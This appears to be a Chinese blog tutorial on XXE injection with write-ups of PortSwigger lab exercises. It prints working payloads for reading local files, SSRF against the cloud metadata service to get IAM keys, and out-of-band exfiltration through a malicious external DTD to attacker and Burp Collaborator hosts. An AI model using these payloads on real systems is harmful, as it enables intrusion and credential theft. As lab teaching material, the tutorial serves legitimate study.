XXE漏洞中DOCTYPE、ENTITY傻傻分不清-WEB安全基础入门—XML外部实体注入(XXE)_xxe 用eneity不行

例题 1

2. 执行SSRF攻击

除了检索敏感数据外,XXE攻击的另一个主要影响是可用于执行服务器端请求伪造(SSRF)。
需要定义外部实体,包含一个目标URL,并在xml中调用这个被定义的实体(上面提到的需满足两个条件,只是将目标文件路径换为URL)
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]>

例题 2

3. 利用带外技术,配合盲注XXE漏洞获取数据

基础利用
需要定义外部实体,包含一个攻击者控制的域名,并在子域名中使用DNS lookup命令获取感兴趣的内容,其余均相同。
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://DNS_LOOKUP.f2g9j7hhkax.web-attacker.com"> ]>

例题 3

利用XML参数实体
有时应用程序对输入进行了验证和过滤,导致原XML实体无法使用,此时可考虑使用参数实体绕过。

  • 在实体名前增加%其他不变

<!ENTITY % myparameterentity "my parameter entity value" >

  • 调用该实体时,不再使用&,改为使用%,其他不变。

%myparameterentity;
完整的攻击荷载为:
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> %xxe; ]>
注意: 末尾要加%xxe;

例题 4

获取敏感数据
上述内容,让我们可以发现和验证盲注XXE的存在,那下一步我们要怎么利用他获取敏感数据呢?
攻击逻辑

  1. 在交互中注入攻击荷载,目标URL不再是真实目标,而要改为攻击者掌控的攻击服务器

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
让目标系统,外部调用攻击者服务器上的malicious.dtd文件。该文件内容为具体的攻击荷载,和外联地址。

  1. 攻击机上malicious.dtd文件的内容:
    1. 首先定义需要获得的真实目标文件
    2. 再套用两重实体:第一个动态实体调用,保证执行;第二个为将文件内容反链接攻击者服务器URL(注意传参)。&#x25是%的unicode形式
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;

  1. 在burp collaborator记录,获取敏感信息。

例题 5

4. 通过错误消息检索数据

与上述第3点构造的攻击包一致,仅是将最后的路径修改为不存在的路径,引发错误响应,内种包括所需文件内容。

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

例题 6

5. 通过重新调整本地DTD的用途实施攻击

通过调用本地已经存在的DTD文件,并引用文件中已经存在的实体。在内部远程调用不存在的文件引发错误响应,将敏感数据返回给攻击者。

<!DOCTYPE foo [
<!ENTITY % local\_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom\_entity '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local\_dtd;
]>

  • 定义一个名为LOCAL_DTD的XML参数实体,它是系统上已经存在的DTD文件的内容。
  • 重新其中已存在的名为CUSTOM_ENTITY的XML参数实体。该实体被重新定义为包含基于错误的XXE漏洞利用荷载,用于触发包含/etc/passwd文件内容的错误消息。

一般linux中存在的DTD文件/usr/share/yelp/dtd/docbookx.dtd。可用如下代码验证是否存在

<!DOCTYPE foo [
<!ENTITY % local\_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local\_dtd;
]>

例题 7

6. 寻找XXE攻击的隐藏攻击面

部分应用程序采用正常的HTTP传输XML格式数据,利用上述技巧,可以尝试进行攻击。但是还有的应用程序在HTTP中并没有包含任何XML数据,这就需要采用下面的技巧来寻找XXE攻击的漏洞了。
XInclude攻击
一些应用程序接收客户端提交的数据,在服务器端将其嵌入到一个XML文档中,然后解析。例如,以SOAP方式(一种轻量的、简单的、基于XML的对象访问协议)传输数据时,后端SOAP服务器处理就是这种情况。
这种情况下因不能控制整个XML文档,也不能定义或修改DOCTYPE元素,所以不能执行典型的XXE攻击。但是可以利用XInclude。

XInclude 是XML规范的一部分,它允许从子文档构建XML文档。

攻击者可以在XML文档中的任何数据值中放置XInclude,因此可以在仅控制放置到服务器端XML文档中的单个数据项的情况下执行攻击。 示例代码如下:

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>

例题 8

7. 通过文件上传进行的XXE攻击

一些常见的文件格式如文档.docx 图片 .svg实际是基于XML格式的。
利用应用程序的上传文件功能(例如允许上传SVG格式的图片),尝试提交包含恶意的XML攻击荷载的SVG图像,从而实施XXE攻击。

例题 9

8. 通过修改content type实施XXE攻击

大部分应用系统接收HTML提交的POST数据包,采用的格式为application/x-www-form-urlencoded

POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

foo=bar

但是部分应用程序对其他格式文件的POST请求,也可以接收,可尝试更改content type为text/xml来实施攻击

POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52

<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>

5. 漏洞实例

1. 利用XXE漏洞,使用外部实体检索文件(Exploiting XXE using external entities to retrieve files
  • 目标

获取/etc/passwd文件内容
查询库存功能点使用XML进行数据传输。

  • 解题思路

在查询库存点发现xml交互传输数据的包,构造攻击荷载如下

POST /product/stock HTTP/1.1
Host: ac671fc91f1298c0c09a188900ae00c5.web-security-academy.net

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE FOO [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>
&xxe;
</productId><storeId>1</storeId></stockCheck>

结果为

HTTP/1.1 400 Bad Request
Content-Type: application/json; charset=utf-8
Connection: close
Content-Length: 1280

"Invalid product ID: 
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
...

2. 利用XXE执行SSRF攻击(Exploiting XXE to perform SSRF attacks
  • 目标

从云服务器上获取IAM的SecretAccessKey
查询库存功能点使用XML进行数据传输。应用使用云服务器,原数据存储在IPhttp://169.254.169.254/的服务器上。

  • 解题思路
    1. 与上一题几乎一样
POST /product/stock HTTP/1.1

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY heason SYSTEM "http://169.254.169.254/"> ]>
<stockCheck><productId>&heason;
</productId>
<storeId>1</storeId></stockCheck>

  1. 响应中返回下一级目录,一次次补充路径,直到获取目标内容
POST /product/stock HTTP/1.1

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY heason SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&heason;
</productId>
<storeId>1</storeId></stockCheck>

3. 带外交互的XXE盲注(Blind XXE with out-of-band interaction
  • 目标

获取DNS lookup交互响应
查询库存功能点使用XML进行数据传输。

  • 解题思路
POST /product/stock HTTP/1.1

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY heason SYSTEM "http://s70a6ugnap5yi1efvvpg8mt0vr1hp6.burpcollaborator.net"> ]> 
<stockCheck><productId>
&heason;
</productId><storeId>1</storeId></stockCheck>

在这里插入图片描述

4. 通过XML参数实体进行带外交互的XXE盲注(Blind XXE with out-of-band interaction via XML parameter entities
  • 目标

获取DNS lookup交互响应
查询库存功能点使用XML进行数据传输。内容不会包含在响应中返回给用户

  • 解题思路
POST /product/stock HTTP/1.1

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % heason SYSTEM "http://dar2m8yqexjpvhrdtycuzs21fsli97.burpcollaborator.net"> %heason;]>
<stockCheck><productId>%heason;</productId><storeId>1</storeId></stockCheck> 
(注释:<productId>中不调用也可以。)

5. 使用恶意外部DTD获取数据(Exploiting blind XXE to exfiltrate data using a malicious external DTD
  • 目标

获取/etc/hostname
查询库存功能点使用XML进行数据传输。内容不会包含在响应中返回给用户

  • 解题思路
    1. 首先构造攻击荷载
POST /product/stock HTTP/1.1

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-ac331f421f895257c03e4b22018200e9.web-security-academy.net/exploit"> %xxe; ]>
<stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>

  1. 在攻击者服务器构造恶意文件 地址是https://exploit-ac331f421f895257c03e4b22018200e9.web-security-academy.net/exploit
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://hdyldk35s3479ir2sxezyo9h086yun.burpcollaborator.net/?x=%file;'>">
%eval;
%exfil;

  1. 发起攻击,在burp burpcollaborator查看交互
GET /?x=e955b6d504db HTTP/1.1
User-Agent: Java/17.0.1
Host: hdyldk35s3479ir2sxezyo9h086yun.burpcollaborator.net
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive

6. 通过错误消息检索数据 (Exploiting blind XXE to retrieve data via error messages
  • 目标

引发错误响应,从而获取/etc/passwd内容
查询库存功能点使用XML进行数据传输。内容不会包含在响应中返回给用户

  • 解题思路
    1. 在攻击机上保存如下文件
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'file:///invalid/%file;'>">
%eval;
%exfil;

  1. 在数据包中修改内容如下
POST /product/stock HTTP/1.1

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-ac8a1fed1fa393a9c0ee31ce0149002a.web-security-academy.net/exploit"> %xxe;]>
<stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>

7. 通过重新调整本地DTD的用途来检索数据 (Exploiting XXE to retrieve data by repurposing a local DTD
  • 目标

引发错误响应,从而获取/etc/passwd内容

img
img

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化资料的朋友,可以戳这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

7. 通过重新调整本地DTD的用途来检索数据 (Exploiting XXE to retrieve data by repurposing a local DTD
  • 目标

引发错误响应,从而获取/etc/passwd内容

[外链图片转存中…(img-HD1LhMid-1714425426468)]
[外链图片转存中…(img-OOyDEZry-1714425426468)]

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化资料的朋友,可以戳这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值